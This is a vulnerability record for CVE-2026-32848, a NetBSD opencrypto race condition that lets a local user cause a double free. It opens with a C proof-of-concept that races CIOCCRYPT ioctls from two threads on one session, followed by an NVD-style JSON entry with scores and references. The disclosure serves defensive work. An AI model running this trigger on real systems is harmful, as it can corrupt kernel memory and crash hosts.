CVE-2026-32848

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <sys/ioctl.h> #include <crypto/cryptodev.h> #include <pthread.h> #define DEVICE "/dev/crypto" struct session_op sess; struct crypt_op cop; int cfd; // Thread worker function to trigger race condition void *worker(void *arg) { while (1) { // Setup operation using the same session ID cop.ses = sess.ses; cop.len = 16; cop.src = (void*)0xdeadbeef; // Dummy buffer cop.dst = (void*)0xcafebabe; // Dummy buffer cop.iv = 0; cop.op = COP_ENCRYPT; // Concurrently issue CIOCCRYPT ioctl ioctl(cfd, CIOCCRYPT, &cop); } return NULL; } int main() { cfd = open(DEVICE, O_RDWR); if (cfd < 0) { perror("open"); return 1; } // Initialize a session sess.cipher = CRYPTO_AES_CBC; sess.keylen = 16; // Set key data here... if (ioctl(cfd, CIOCGSESSION, &sess)) { perror("ioctl(CIOCGSESSION)"); return 1; } // Create two threads to exploit the race pthread_t t1, t2; pthread_create(&t1, NULL, worker, NULL); pthread_create(&t2, NULL, worker, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); close(cfd); return 0; }

{"cve": {"id": "CVE-2026-32848", "sourceIdentifier": "[email protected]", "published": "2026-05-18T18:17:23.207", "lastModified": "2026-05-18T19:42:03.353", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "NetBSD prior to commit ec8451e contains a race condition vulnerability in cryptodev_op() within the opencrypto subsystem that allows local attackers to trigger a double-free condition by concurrently issuing CIOCCRYPT operations on the same session identifier on SMP systems. Attackers can exploit mutable per-operation state embedded in the csession struct to corrupt kernel heap memory."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-362"}, {"lang": "en", "value": "CWE-415"}]}], "references": [{"url": "https://github.com/NetBSD/src/commit/ec8451efc1565516aba9e7047e1a1a1ce7953a2f", "source": "[email protected]"}, {"url": "https://nasm.re/posts/uaf_netbsd_crypto/", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/netbsd-cryptodev-race-condition-double-free-via-cryptodev-op", "source": "[email protected]"}]}}